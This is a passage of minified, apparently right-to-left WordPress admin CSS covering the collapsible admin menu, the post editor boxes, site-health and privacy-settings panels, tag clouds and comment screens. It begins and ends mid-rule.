(max-width:960px){.auto-fold #wpcontent,.auto-fold #wpfooter{margin-left:36px}.auto-fold #adminmenu,.auto-fold #adminmenu li.menu-top,.auto-fold #adminmenuback,.auto-fold #adminmenuwrap{width:36px}.auto-fold #adminmenu .opensub .wp-submenu,.auto-fold #adminmenu .wp-has-current-submenu .wp-submenu.sub-open,.auto-fold #adminmenu .wp-has-current-submenu a.menu-top:focus+.wp-submenu,.auto-fold #adminmenu .wp-has-current-submenu.opensub .wp-submenu,.auto-fold #adminmenu .wp-submenu.sub-open,.auto-fold #adminmenu a.menu-top:focus+.wp-submenu{top:0;left:36px}.auto-fold #adminmenu .wp-has-current-submenu .wp-submenu,.auto-fold #adminmenu a.wp-has-current-submenu:focus+.wp-submenu{position:absolute;top:-1000em;margin-right:-1px;padding:7px 0 8px;z-index:9999}.auto-fold #adminmenu .wp-has-current-submenu .wp-submenu{min-width:150px;width:auto}.auto-fold #adminmenu .wp-has-current-submenu li>a{padding-right:16px;padding-left:14px}.auto-fold #adminmenu li.menu-top .wp-submenu>li>a{padding-left:12px}.auto-fold #adminmenu .wp-menu-name{position:absolute;left:-999px}.auto-fold #adminmenu .wp-submenu-head{display:block}.auto-fold #adminmenu div.wp-menu-image{height:30px;width:34px;position:absolute;z-index:25}.auto-fold #adminmenu a.menu-top{min-height:34px}.auto-fold #adminmenu li.wp-menu-open{border:0 none}.auto-fold #adminmenu .wp-has-current-submenu.menu-top-last{margin-bottom:0}.auto-fold ul#adminmenu li:focus-within a.wp-has-current-submenu:after,.auto-fold ul#adminmenu li:hover a.wp-has-current-submenu:after{display:none}.auto-fold ul#adminmenu li.wp-has-submenu.wp-not-current-submenu:focus-within:after,.auto-fold ul#adminmenu li.wp-has-submenu.wp-not-current-submenu:hover:after{border-width:4px;margin-top:-4px;top:16px}.auto-fold ul#adminmenu a.wp-has-current-submenu:after,.auto-fold ul#adminmenu>li a.current:after{border-width:4px;margin-top:-4px}.auto-fold #adminmenu li.menu-top:hover,.auto-fold #adminmenu li.opensub>a.menu-top,.auto-fold #adminmenu li>a.menu-top:focus{z-index:10000}.auto-fold #collapse-menu .collapse-button-label{display:none}.auto-fold #collapse-button .collapse-button-icon:after{transform:rotate(180deg)}.rtl.auto-fold #collapse-button .collapse-button-icon:after{transform:none}}@media screen and (max-width:782px){.auto-fold #wpcontent{position:relative;margin-left:0;padding-left:10px}.sticky-menu #adminmenuwrap{position:relative;z-index:auto;top:0}.auto-fold #adminmenu,.auto-fold #adminmenuback,.auto-fold #adminmenuwrap{position:absolute;width:190px;z-index:100}.auto-fold #adminmenuback{position:fixed}.auto-fold #adminmenuback,.auto-fold #adminmenuwrap{display:none}.auto-fold .wp-responsive-open #adminmenuback,.auto-fold .wp-responsive-open #adminmenuwrap{display:block}.auto-fold #adminmenu li.menu-top{width:100%}.auto-fold #adminmenu li a{font-size:16px;padding:5px}.auto-fold #adminmenu li.menu-top .wp-submenu>li>a{padding:10px 10px 10px 20px}.auto-fold #adminmenu .wp-menu-name{position:static}.auto-fold ul#adminmenu a.wp-has-current-submenu:after,.auto-fold ul#adminmenu>li.current>a.current:after{border-width:8px;margin-top:-8px}.auto-fold ul#adminmenu li.wp-has-submenu.wp-not-current-submenu:focus-within:after,.auto-fold ul#adminmenu li.wp-has-submenu.wp-not-current-submenu:hover:after{display:none}#adminmenu .wp-submenu{position:relative;display:none}.auto-fold #adminmenu .selected .wp-submenu,.auto-fold #adminmenu .wp-menu-open .wp-submenu{position:relative;display:block;top:0;left:-1px;box-shadow:none}.auto-fold #adminmenu .selected .wp-submenu:after,.auto-fold #adminmenu .wp-menu-open .wp-submenu:after{display:none}.auto-fold #adminmenu .opensub .wp-submenu{display:none}.auto-fold #adminmenu .selected .wp-submenu{display:block}.auto-fold ul#adminmenu li:focus-within a.wp-has-current-submenu:after,.auto-fold ul#adminmenu li:hover a.wp-has-current-submenu:after{display:block}.auto-fold #adminmenu .wp-has-current-submenu a.menu-top:focus+.wp-submenu,.auto-fold #adminmenu a.menu-top:focus+.wp-submenu{position:relative;left:-1px;right:0;top:0}#adminmenu .wp-not-current-submenu .wp-submenu,.folded #adminmenu .wp-has-current-submenu .wp-submenu{border-left:none}#adminmenu .wp-submenu .wp-submenu-head{display:none}#wp-responsive-toggle{position:fixed;top:5px;left:4px;padding-right:10px;z-index:99999;border:none;box-sizing:border-box}#wpadminbar #wp-admin-bar-menu-toggle a{display:block;padding:0;overflow:hidden;outline:0;text-decoration:none;border:1px solid transparent;background:0 0;height:44px;margin-left:-1px}.wp-responsive-open #wpadminbar #wp-admin-bar-menu-toggle a{background:#2c3338}li#wp-admin-bar-menu-toggle{display:block}#wpadminbar #wp-admin-bar-menu-toggle a:hover{border:1px solid transparent}#wpadminbar #wp-admin-bar-menu-toggle .ab-icon:before{content:"\f228";display:inline-block;float:left;font:normal 40px/45px dashicons;vertical-align:middle;outline:0;margin:0;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;height:44px;width:50px;padding:0;border:none;text-align:center;text-decoration:none;box-sizing:border-box}.wp-responsive-open #wpadminbar #wp-admin-bar-menu-toggle .ab-icon:before{color:#72aee6}}@media screen and (max-width:600px){#adminmenuback,#adminmenuwrap{display:none}.wp-responsive-open #adminmenuback,.wp-responsive-open #adminmenuwrap{display:block}.auto-fold #adminmenu{top:46px}}/*! This file is auto-generated */
#poststuff{padding-top:10px;min-width:763px}#poststuff #post-body{padding:0}#poststuff .postbox-container{width:100%}#poststuff #post-body.columns-2{margin-left:300px}#show-comments{overflow:hidden}#save-action .spinner,#show-comments a{float:right}#show-comments .spinner{float:none;margin-top:0}#lost-connection-notice .spinner{visibility:visible;float:right;margin:0 0 0 5px}#titlediv{position:relative}#titlediv label{cursor:text}#titlediv div.inside{margin:0}#poststuff #titlewrap{border:0;padding:0}#titlediv #title{padding:3px 8px;font-size:1.7em;line-height:100%;height:1.7em;width:100%;outline:0;margin:0 0 3px;background-color:#fff}#titlediv #title-prompt-text{color:#646970;position:absolute;font-size:1.7em;padding:10px;pointer-events:none}input#link_description,input#link_url{width:100%}#pending{background:100% none;border:0 none;padding:0;font-size:11px;margin-top:-1px}#comment-link-box,#edit-slug-box{line-height:1.84615384;min-height:25px;margin-top:5px;padding:0 10px;color:#646970}#sample-permalink{display:inline-block;max-width:100%;word-wrap:break-word}#edit-slug-box .cancel{margin-left:10px;padding:0;font-size:11px}#comment-link-box{margin:5px 0;padding:0 5px}#editable-post-name-full{display:none}#editable-post-name{font-weight:600}#editable-post-name input{font-size:13px;font-weight:400;height:24px;margin:0;width:16em}.postarea h3 label{float:right}body.post-new-php .submitbox .submitdelete{display:none}.submitbox .submit a:hover{text-decoration:underline}.submitbox .submit input{margin-bottom:8px;margin-left:4px;padding:6px}#post-status-select{margin-top:3px}body.post-type-wp_navigation .inline-edit-status,body.post-type-wp_navigation div#minor-publishing{display:none}.is-dragging-metaboxes .metabox-holder .postbox-container .meta-box-sortables{outline:3px dashed #646970;display:flow-root;min-height:60px;margin-bottom:20px}.postbox{position:relative;min-width:255px;border:1px solid #c3c4c7;box-shadow:0 1px 1px rgba(0,0,0,.04);background:#fff}#trackback_url{width:99%}#normal-sortables .postbox .submit{background:transparent none;border:0 none;float:left;padding:0 12px;margin:0}.category-add input[type=text],.category-add select{width:100%;max-width:260px;vertical-align:baseline}#side-sortables .category-add input[type=text],#side-sortables .category-add select{margin:0 0 1em}#side-sortables .add-menu-item-tabs li,.wp-tab-bar li,ul.category-tabs li{display:inline;line-height:1.35}.no-js .category-tabs li.hide-if-no-js{display:none}#side-sortables .add-menu-item-tabs a,.category-tabs a,.wp-tab-bar a{text-decoration:none}#post-body ul.add-menu-item-tabs li.tabs a,#post-body ul.category-tabs li.tabs a,#side-sortables .add-menu-item-tabs .tabs a,#side-sortables .category-tabs .tabs a,.wp-tab-bar .wp-tab-active a{color:#2c3338}.category-tabs{margin:8px 0 5px}#category-adder h4{margin:0}.taxonomy-add-new{display:inline-block;margin:10px 0;font-weight:600}#side-sortables .add-menu-item-tabs,.wp-tab-bar{margin-bottom:3px}#normal-sortables .postbox #replyrow .submit{float:none;margin:0;padding:5px 7px 10px;overflow:hidden}#side-sortables .submitbox .submit .preview,#side-sortables .submitbox .submit a.preview:hover,#side-sortables .submitbox .submit input{border:0 none}ul.add-menu-item-tabs,ul.category-tabs,ul.wp-tab-bar{margin-top:12px}ul.add-menu-item-tabs li,ul.category-tabs li{border:solid 1px transparent;position:relative}.wp-tab-active,ul.add-menu-item-tabs li.tabs,ul.category-tabs li.tabs{border:1px solid #dcdcde;border-bottom-color:#fff;background-color:#fff}ul.add-menu-item-tabs li,ul.category-tabs li,ul.wp-tab-bar li{padding:3px 5px 6px}#set-post-thumbnail{display:inline-block;max-width:100%}#postimagediv .inside img{max-width:100%;height:auto;width:auto;vertical-align:top;background-image:linear-gradient(-45deg,#c3c4c7 25%,transparent 25%,transparent 75%,#c3c4c7 75%,#c3c4c7),linear-gradient(-45deg,#c3c4c7 25%,transparent 25%,transparent 75%,#c3c4c7 75%,#c3c4c7);background-position:100% 0,10px 10px;background-size:20px 20px}form#tags-filter{position:relative}.ui-tabs-hide,.wp-hidden-children .wp-hidden-child{display:none}#post-body .tagsdiv #newtag{margin-left:5px;width:16em}#side-sortables input#post_password{width:94%}#side-sortables .tagsdiv #newtag{width:68%}#post-status-info{width:100%;border-spacing:0;border:1px solid #c3c4c7;border-top:none;background-color:#f6f7f7;box-shadow:0 1px 1px rgba(0,0,0,.04);z-index:999}#post-status-info td{font-size:12px}.autosave-info{padding:2px 10px;text-align:left}#editorcontent #post-status-info{border:none}#content-resize-handle{background:transparent url(../images/resize.gif) no-repeat scroll left bottom;width:12px;cursor:row-resize}.rtl #content-resize-handle{background-image:url(../images/resize-rtl.gif);background-position:left bottom}.wp-editor-expand #content-resize-handle{display:none}#postdivrich #content{resize:none}#wp-word-count{padding:2px 10px}#wp-content-editor-container{position:relative}.wp-editor-expand #wp-content-editor-tools{z-index:1000;border-bottom:1px solid #c3c4c7}.wp-editor-expand #wp-content-editor-container{box-shadow:none;margin-top:-1px}.wp-editor-expand #wp-content-editor-container{border-bottom:0 none}.wp-editor-expand div.mce-statusbar{z-index:1}.wp-editor-expand #post-status-info{border-top:1px solid #c3c4c7}.wp-editor-expand div.mce-toolbar-grp{z-index:999}.mce-fullscreen #wp-content-wrap .mce-edit-area,.mce-fullscreen #wp-content-wrap .mce-menubar,.mce-fullscreen #wp-content-wrap .mce-statusbar,.mce-fullscreen #wp-content-wrap .mce-toolbar-grp{position:static!important;width:auto!important;padding:0!important}.mce-fullscreen #wp-content-wrap .mce-statusbar{visibility:visible!important}.mce-fullscreen #wp-content-wrap .mce-tinymce .mce-wp-dfw{display:none}.mce-fullscreen #wp-content-wrap .mce-wp-dfw,.post-php.mce-fullscreen #wpadminbar{display:none}#wp-content-editor-tools{background-color:#f0f0f1;padding-top:20px}#poststuff #post-body.columns-2 #side-sortables{width:280px}#timestampdiv select{vertical-align:top;font-size:12px;line-height:2.33333333}#aa,#hh,#jj,#mn{padding:6px 1px;font-size:12px;line-height:1.16666666}#hh,#jj,#mn{width:2em}#aa{width:3.4em}.curtime #timestamp{padding:2px 0 1px;display:inline!important;height:auto!important}#post-body #visibility:before,#post-body .misc-pub-comment-status:before,#post-body .misc-pub-post-status:before,#post-body .misc-pub-response-to:before,#post-body .misc-pub-revisions:before,#post-body .misc-pub-uploadedby:before,#post-body .misc-pub-uploadedto:before,.curtime #timestamp:before{color:#8c8f94}#post-body #visibility:before,#post-body .misc-pub-comment-status:before,#post-body .misc-pub-post-status:before,#post-body .misc-pub-response-to:before,#post-body .misc-pub-revisions:before,#post-body .misc-pub-uploadedby:before,#post-body .misc-pub-uploadedto:before,.curtime #timestamp:before{font:normal 20px/1 dashicons;speak:never;display:inline-block;margin-right:-1px;padding-left:3px;vertical-align:top;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}#post-body .misc-pub-comment-status:before,#post-body .misc-pub-post-status:before{content:"\f173"}#post-body #visibility:before{content:"\f177"}.curtime #timestamp:before{content:"\f145";position:relative;top:-1px}#post-body .misc-pub-uploadedby:before{content:"\f110";position:relative;top:-1px}#post-body .misc-pub-uploadedto:before{content:"\f318";position:relative;top:-1px}#post-body .misc-pub-revisions:before{content:"\f321"}#post-body .misc-pub-response-to:before{content:"\f101"}#timestampdiv{padding-top:5px;line-height:1.76923076}#timestampdiv p{margin:8px 0 6px}#timestampdiv input{text-align:center}.notification-dialog{position:fixed;top:30%;max-height:70%;right:50%;width:450px;margin-right:-225px;background:#fff;box-shadow:0 3px 6px rgba(0,0,0,.3);line-height:1.5;z-index:1000005;overflow-y:auto}.notification-dialog-background{position:fixed;top:0;right:0;left:0;bottom:0;background:#000;opacity:.7;z-index:1000000}#post-lock-dialog .post-locked-message,#post-lock-dialog .post-taken-over{margin:25px}#file-editor-warning .button,#post-lock-dialog .post-locked-message a.button{margin-left:10px}#post-lock-dialog .post-locked-avatar{float:right;margin:0 0 20px 20px}#post-lock-dialog .wp-tab-first{outline:0}#post-lock-dialog .locked-saving img{float:right;margin-left:3px}#post-lock-dialog.saved .locked-saved,#post-lock-dialog.saving .locked-saving{display:inline}#excerpt{display:block;margin:12px 0 0;height:4em;width:100%}.tagchecklist{margin-right:14px;font-size:12px;overflow:auto}.tagchecklist br{display:none}.tagchecklist strong{margin-right:-8px;position:absolute}.tagchecklist>li{float:right;margin-left:25px;font-size:13px;line-height:1.8;cursor:default;max-width:100%;overflow:hidden;text-overflow:ellipsis}.tagchecklist .ntdelbutton{position:absolute;width:24px;height:24px;border:none;margin:0 -19px 0 0;padding:0;background:0 0;cursor:pointer;text-indent:0}#poststuff .stuffbox>h3,#poststuff h2,#poststuff h3.hndle{font-size:14px;padding:8px 12px;margin:0;line-height:1.4}#poststuff .stuffbox h2{padding:8px 10px}#poststuff .stuffbox>h2{border-bottom:1px solid #f0f0f1}#poststuff .inside{margin:6px 0 0}.link-add-php #poststuff .inside,.link-php #poststuff .inside{margin-top:12px}#poststuff .stuffbox .inside{margin:0}#poststuff .inside #page_template,#poststuff .inside #parent_id{max-width:100%}.post-attributes-label-wrapper{margin-bottom:.5em}.post-attributes-label{vertical-align:baseline;font-weight:600}#comment-status-radio,#post-visibility-select{line-height:1.5;margin-top:3px}#linksubmitdiv .inside,#poststuff #submitdiv .inside{margin:0;padding:0}#post-body-content,.edit-form-section{margin-bottom:20px}.wp_attachment_details .attachment-content-description{margin-top:.5385em;display:inline-block;min-height:1.6923em}.privacy-settings #wpcontent,.privacy-settings.auto-fold #wpcontent,.site-health #wpcontent,.site-health.auto-fold #wpcontent{padding-right:0}.privacy-settings .notice,.site-health .notice{margin:25px 22px 15px 20px}.privacy-settings .notice~.notice,.site-health .notice~.notice{margin-top:5px}.health-check-header h1,.privacy-settings-header h1{display:inline-block;font-weight:600;margin:0 .8rem 1rem;font-size:23px;padding:9px 0 4px;line-height:1.3}.health-check-header,.privacy-settings-header{text-align:center;margin:0 0 1rem;background:#fff;border-bottom:1px solid #dcdcde}.health-check-title-section,.privacy-settings-title-section{display:flex;align-items:center;justify-content:center;clear:both;padding-top:8px}.privacy-settings-tabs-wrapper{display:-ms-inline-grid;-ms-grid-columns:1fr 1fr;vertical-align:top;display:inline-grid;grid-template-columns:1fr 1fr}.privacy-settings-tab{display:block;text-decoration:none;color:inherit;padding:.5rem 1rem 1rem;margin:0 1rem;transition:box-shadow .5s ease-in-out}.health-check-tab:first-child,.privacy-settings-tab:first-child{-ms-grid-column:1}.health-check-tab:nth-child(2),.privacy-settings-tab:nth-child(2){-ms-grid-column:2}.health-check-tab:focus,.privacy-settings-tab:focus{color:#1d2327;outline:1px solid #787c82;box-shadow:none}.health-check-tab.active,.privacy-settings-tab.active{box-shadow:inset 0 -3px #3582c4;font-weight:600}.health-check-body,.privacy-settings-body{max-width:800px;margin:0 auto}.tools-privacy-policy-page th{min-width:230px}.hr-separator{margin-top:20px;margin-bottom:15px}.health-check-accordion,.privacy-settings-accordion{border:1px solid #c3c4c7}.health-check-accordion-heading,.privacy-settings-accordion-heading{margin:0;border-top:1px solid #c3c4c7;font-size:inherit;line-height:inherit;font-weight:600;color:inherit}.health-check-accordion-heading:first-child,.privacy-settings-accordion-heading:first-child{border-top:none}.health-check-accordion-trigger,.privacy-settings-accordion-trigger{background:#fff;border:0;color:#2c3338;cursor:pointer;display:flex;font-weight:400;margin:0;padding:1em 1.5em 1em 3.5em;min-height:46px;position:relative;text-align:right;width:100%;align-items:center;justify-content:space-between;-webkit-user-select:auto;user-select:auto}.health-check-accordion-trigger:active,.health-check-accordion-trigger:hover,.privacy-settings-accordion-trigger:active,.privacy-settings-accordion-trigger:hover{background:#f6f7f7}.health-check-accordion-trigger:focus,.privacy-settings-accordion-trigger:focus{color:#1d2327;border:none;box-shadow:none;outline-offset:-1px;outline:2px solid #2271b1;background-color:#f6f7f7}.health-check-accordion-trigger .title,.privacy-settings-accordion-trigger .title{pointer-events:none;font-weight:600;flex-grow:1}.health-check-accordion-trigger .icon,.privacy-settings-accordion-trigger .icon,.privacy-settings-view-read .icon,.site-health-view-passed .icon{border:solid #50575e;border-width:0 0 2px 2px;height:.5rem;pointer-events:none;position:absolute;left:1.5em;top:50%;transform:translateY(-70%) rotate(-45deg);width:.5rem}.health-check-accordion-trigger .badge,.privacy-settings-accordion-trigger .badge{padding:.1rem .5rem .15rem;color:#2c3338;font-weight:600}.privacy-settings-accordion-trigger .badge{margin-right:.5rem}.health-check-accordion-trigger .badge.blue,.privacy-settings-accordion-trigger .badge.blue{border:1px solid #72aee6}.health-check-accordion-trigger .badge.orange,.privacy-settings-accordion-trigger .badge.orange{border:1px solid #dba617}.health-check-accordion-trigger .badge.red,.privacy-settings-accordion-trigger .badge.red{border:1px solid #e65054}.health-check-accordion-trigger .badge.green,.privacy-settings-accordion-trigger .badge.green{border:1px solid #00ba37}.health-check-accordion-trigger .badge.purple,.privacy-settings-accordion-trigger .badge.purple{border:1px solid #2271b1}.health-check-accordion-trigger .badge.gray,.privacy-settings-accordion-trigger .badge.gray{border:1px solid #c3c4c7}.health-check-accordion-trigger[aria-expanded=true] .icon,.privacy-settings-accordion-trigger[aria-expanded=true] .icon,.privacy-settings-view-passed[aria-expanded=true] .icon,.site-health-view-passed[aria-expanded=true] .icon{transform:translateY(-30%) rotate(135deg)}.health-check-accordion-panel,.privacy-settings-accordion-panel{margin:0;padding:1em 1.5em;background:#fff}.health-check-accordion-panel[hidden],.privacy-settings-accordion-panel[hidden]{display:none}.health-check-accordion-panel a .dashicons,.privacy-settings-accordion-panel a .dashicons{text-decoration:none}.privacy-settings-accordion-actions{text-align:left;display:block}.privacy-settings-accordion-actions .success{display:none;color:#007017;padding-left:1em;padding-top:6px}.privacy-settings-accordion-actions .success.visible{display:inline-block}.privacy-settings-accordion-panel.hide-privacy-policy-tutorial .privacy-policy-tutorial,.privacy-settings-accordion-panel.hide-privacy-policy-tutorial .privacy-text-copy,.privacy-settings-accordion-panel.hide-privacy-policy-tutorial .wp-policy-help{display:none}.privacy-settings-accordion-panel strong.privacy-policy-tutorial,.privacy-settings-accordion-panel strong.wp-policy-help{display:block;margin:0 0 1em}.privacy-text-copy span{pointer-events:none}.privacy-settings-accordion-panel .wp-suggested-text div>:not(h1):not(h2):not(h3):not(h4):not(h5):not(h6):not(div):not(.privacy-policy-tutorial):not(.wp-policy-help):not(.privacy-text-copy):not(span.success):not(.notice p),.privacy-settings-accordion-panel .wp-suggested-text>:not(h1):not(h2):not(h3):not(h4):not(h5):not(h6):not(div):not(.privacy-policy-tutorial):not(.wp-policy-help):not(.privacy-text-copy):not(span.success):not(.notice p),.privacy-settings-accordion-panel div>:not(h1):not(h2):not(h3):not(h4):not(h5):not(h6):not(div):not(.privacy-policy-tutorial):not(.wp-policy-help):not(.privacy-text-copy):not(span.success):not(.notice p),.privacy-settings-accordion-panel>:not(h1):not(h2):not(h3):not(h4):not(h5):not(h6):not(div):not(.privacy-policy-tutorial):not(.wp-policy-help):not(.privacy-text-copy):not(span.success):not(.notice p){margin:0;padding:1em;border-right:2px solid #787c82}@media screen and (max-width:782px){.health-check-body,.privacy-settings-body{margin:0 12px;width:auto}.privacy-settings .notice,.site-health .notice{margin:5px 10px 15px}.privacy-settings .update-nag,.site-health .update-nag{margin-left:10px;margin-right:10px}input#create-page{margin-top:10px}.wp-core-ui button.privacy-text-copy{white-space:normal;line-height:1.8}}@media only screen and (max-width:1004px){.health-check-body,.privacy-settings-body{margin:0 22px;width:auto}}#postcustomstuff thead th{padding:5px 8px 8px;background-color:#f0f0f1}#postcustom #postcustomstuff .submit{border:0 none;float:none;padding:0 8px 8px}#postcustom #postcustomstuff .add-custom-field{padding:12px 8px 8px}#side-sortables #postcustom #postcustomstuff .submit{margin:0;padding:0}#side-sortables #postcustom #postcustomstuff #the-list textarea{height:85px}#side-sortables #postcustom #postcustomstuff td.left input,#side-sortables #postcustom #postcustomstuff td.left select,#side-sortables #postcustomstuff #newmetaleft a{margin:3px 3px 0}#postcustomstuff table{margin:0;width:100%;border:1px solid #dcdcde;border-spacing:0;background-color:#f6f7f7}#postcustomstuff tr{vertical-align:top}#postcustomstuff table input,#postcustomstuff table select,#postcustomstuff table textarea{width:96%;margin:8px}#side-sortables #postcustomstuff table input,#side-sortables #postcustomstuff table select,#side-sortables #postcustomstuff table textarea{margin:3px}#postcustomstuff td.left,#postcustomstuff th.left{width:38%}#postcustomstuff .submit input{margin:0;width:auto}#postcustomstuff #newmeta-button,#postcustomstuff #newmetaleft a{display:inline-block;margin:0 8px 8px;text-decoration:none}.no-js #postcustomstuff #enternew{display:none}#post-body-content .compat-attachment-fields{margin-bottom:20px}.compat-attachment-fields th{padding-top:5px;padding-left:10px}#select-featured-image{padding:4px 0;overflow:hidden}#select-featured-image img{max-width:100%;height:auto;margin-bottom:10px}#select-featured-image a{float:right;clear:both}#select-featured-image .remove{display:none;margin-top:10px}.js #select-featured-image.has-featured-image .remove{display:inline-block}.no-js #select-featured-image .choose{display:none}.post-format-icon::before{display:inline-block;vertical-align:middle;height:20px;width:20px;margin-top:-4px;margin-left:7px;color:#dcdcde;font:normal 20px/1 dashicons;speak:never;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}a.post-format-icon:hover:before{color:#135e96}#post-formats-select{line-height:2}#post-formats-select .post-format-icon::before{top:5px}input.post-format{margin-top:1px}label.post-format-icon{margin-right:0;padding:2px 0}.post-format-icon.post-format-standard::before{content:"\f109"}.post-format-icon.post-format-image::before{content:"\f128"}.post-format-icon.post-format-gallery::before{content:"\f161"}.post-format-icon.post-format-audio::before{content:"\f127"}.post-format-icon.post-format-video::before{content:"\f126"}.post-format-icon.post-format-chat::before{content:"\f125"}.post-format-icon.post-format-status::before{content:"\f130"}.post-format-icon.post-format-aside::before{content:"\f123"}.post-format-icon.post-format-quote::before{content:"\f122"}.post-format-icon.post-format-link::before{content:"\f103"}.category-adder{margin-right:120px;padding:4px 0}.category-adder h4{margin:0 0 8px}#side-sortables .category-adder{margin:0}.categorydiv div.tabs-panel,.customlinkdiv div.tabs-panel,.posttypediv div.tabs-panel,.taxonomydiv div.tabs-panel,.wp-tab-panel{min-height:42px;max-height:200px;overflow:auto;padding:0 .9em;border:solid 1px #dcdcde;background-color:#fff}div.tabs-panel-active{display:block}div.tabs-panel-inactive{display:none}div.tabs-panel-active:focus{box-shadow:inset 0 0 0 2px #2271b1;outline:2px solid transparent}#front-page-warning,#front-static-pages ul,.categorydiv ul.categorychecklist ul,.customlinkdiv ul.categorychecklist ul,.inline-editor ul.cat-checklist ul,.posttypediv ul.categorychecklist ul,.taxonomydiv ul.categorychecklist ul,ul.export-filters{margin-right:18px}ul.categorychecklist li{margin:0;padding:0;line-height:1.69230769;word-wrap:break-word}.categorydiv .tabs-panel,.customlinkdiv .tabs-panel,.posttypediv .tabs-panel,.taxonomydiv .tabs-panel{border-width:3px;border-style:solid}.form-wrap label{display:block;padding:2px 0}.form-field input[type=email],.form-field input[type=number],.form-field input[type=password],.form-field input[type=search],.form-field input[type=tel],.form-field input[type=text],.form-field input[type=url],.form-field textarea{border-style:solid;border-width:1px;width:95%}.form-field p,.form-field select{max-width:95%}.form-wrap p,p.description{margin:2px 0 5px;color:#646970}.form-wrap p,p.description,p.help,span.description{font-size:13px}p.description code{font-style:normal}.form-wrap .form-field{margin:1em 0;padding:0}.col-wrap h2{margin:12px 0;font-size:1.1em}.col-wrap p.submit{margin-top:-10px}.edit-term-notes{margin-top:2em}#poststuff .tagsdiv .ajaxtag{margin-top:1em}#poststuff .tagsdiv .howto{margin:1em 0 6px}.ajaxtag .newtag{position:relative}.tagsdiv .newtag{width:180px}.tagsdiv .the-tags{display:block;height:60px;margin:0 auto;overflow:auto;width:260px}#post-body-content .tagsdiv .the-tags{margin:0 5px}p.popular-tags{border:none;line-height:2em;padding:8px 12px 12px;text-align:justify}p.popular-tags a{padding:0 3px}.tagcloud{width:97%;margin:0 0 40px;text-align:justify}.tagcloud h2{margin:2px 0 12px}#poststuff .inside .the-tagcloud{margin:5px 0 10px;padding:8px;border:1px solid #dcdcde;line-height:1.2;word-spacing:3px}.the-tagcloud ul{margin:0}.the-tagcloud ul li{display:inline-block}.ac_results{display:none;margin:-1px 0 0;padding:0;list-style:none;position:absolute;z-index:10000;border:1px solid #4f94d4;background-color:#fff}.wp-customizer .ac_results{z-index:500000}.ac_results li{margin:0;padding:5px 10px;white-space:nowrap;text-align:right}.ac_over .ac_match,.ac_results .ac_over{background-color:#2271b1;color:#fff;cursor:pointer}.ac_match{text-decoration:underline}#addtag .spinner{float:none;vertical-align:top}#edittag{max-width:800px}.edit-tag-actions{margin-top:20px}.comment-php .wp-editor-area{height:200px}.comment-ays td,.comment-ays th{padding:10px 15px}.comment-ays .comment-content ul{list-style:initial;margin-right:2em}.comment-ays .comment-content a[href]:after{content:"(" attr(href) ")";display:inline-block;padding:0 4px;color:#646970;font-size:13px;word-break:break-all}.comment-ays .comment-content p.edit-comment{margin-top:10px}.comment-ays .comment-content p.edit-comment a[href]:after{content:"";padding:0}.comment-ays-submit .button-cancel{margin-right:1em}.spam-undo-inside,.trash-undo-inside{margin:1px 0 1px 8px;line-height:1.23076923}.spam-undo-inside .avatar,.trash-undo-inside .avatar{height:20px;width:20px;margin-left:8px;vertical-align:middle}.stuffbox .editcomment{clear:none;margin-top:0}#namediv.stuffbox .editcomment input{width:100%}#namediv.stuffbox .editcomment.form-table td{padding:10px}#comment-status-radio p{margin:3px 0 5px}#comment-status-radio input{margin:2px 0 5px 3px;vertical-align:middle}#comment-status-radio label{padding:5px 0}table.links-table{width:100%;border-spacing:0}.links-table th{font-weight:400;text-align:right;vertical-align:top;min-width:80px;width:20%;word-wrap:break-word}.links-table td,.links-table th{padding:5px 0}.links-table td label{margin-left:8px}.links-table td input[type=text],.links-table td textarea{width:100%}.links-table #link_rel{max-width:280px}#qt_content_dfw{display:none}.wp-editor-expand #qt_content_dfw{display:inline-block}.focus-on #screen-meta,.focus-on #screen-meta-links,.focus-on #wp-toolbar,.focus-on #wpfooter,.focus-on .page-title-action,.focus-on .postbox-container>*,.focus-on .update-nag,.focus-on .wrap>h1,.focus-on div.error,.focus-on div.notice,.focus-on div.updated{opacity:0;transition-duration:.6s;transition-property:opacity;transition-timing-function:ease-in-out}.focus-on #wp-toolbar{opacity:.3}.focus-off #screen-meta,.focus-off #screen-meta-links,.focus-off #wp-toolbar,.focus-off #wpfooter,.focus-off .page-title-action,.focus-off .postbox-container>*,.focus-off .update-nag,.focus-off .wrap>h1,.focus-off div.error,.focus-off div.notice,.focus-off div.updated{opacity:1;transition-duration:.2s;transition-property:opacity;transition-timing-function:ease-in-out}.focus-off #wp-toolbar{-webkit-transform:translate(0,0)}.focus-on #adminmenuback,.focus-on #adminmenuwrap{transition-duration:.6s;transition-property:transform;transition-timing-function:ease-in-out}.focus-on #adminmenuback,.focus-on #adminmenuwrap{transform:translateX(100%)}.focus-off #adminmenuback,.focus-off #adminmenuwrap{transform:translateX(0);transition-duration:.2s;transition-property:transform;transition-timing-function:ease-in-out}@media print,(min-resolution:120dpi){#content-resize-handle,#post-body .wp_themeSkin .mceStatusbar a.mceResize{background:transparent url(../images/resize-2x.gif) no-repeat scroll left bottom;background-size:11px 11px}.rtl #content-resize-handle,.rtl #post-body .wp_themeSkin .mceStatusbar a.mceResize{background-image:url(../images/resize-rtl-2x.gif);background-position:left bottom}}@media only screen and (max-width:1200px){.post-type-attachment #poststuff{min-width:0}.post-type-attachment #wpbody-content #poststuff #post-body{margin:0}.post-type-attachment #wpbody-content #post-body.columns-2 #postbox-container-1{margin-left:0;width:100%}.post-type-attachment #poststuff #postbox-container-1 #side-sortables:empty,.post-type-attachment #poststuff #postbox-container-1 .empty-container{outline:0;height:0;min-height:0}.post-type-attachment #poststuff #post-body.columns-2 #side-sortables{min-height:0;width:auto}.is-dragging-metaboxes.post-type-attachment #post-body .meta-box-sortables{outline:0;min-height:0;margin-bottom:0}.post-type-attachment .columns-prefs,.post-type-attachment .screen-layout{display:none}}@media only screen and (max-width:850px){#poststuff{min-width:0}#wpbody-content #poststuff #post-body{margin:0}#wpbody-content #post-body.columns-2 #postbox-container-1{margin-left:0;width:100%}#poststuff #postbox-container-1 #side-sortables:empty,#poststuff #postbox-container-1 .empty-container{height:0;min-height:0}#poststuff #post-body.columns-2 #side-sortables{min-height:0;width:auto}.is-dragging-metaboxes #poststuff #post-body.columns-2 #side-sortables,.is-dragging-metaboxes #poststuff #post-body.columns-2 .meta-box-sortables,.is-dragging-metaboxes #poststuff #postbox-container-1 #side-sortables:empty,.is-dragging-metaboxes #poststuff #postbox-container-1 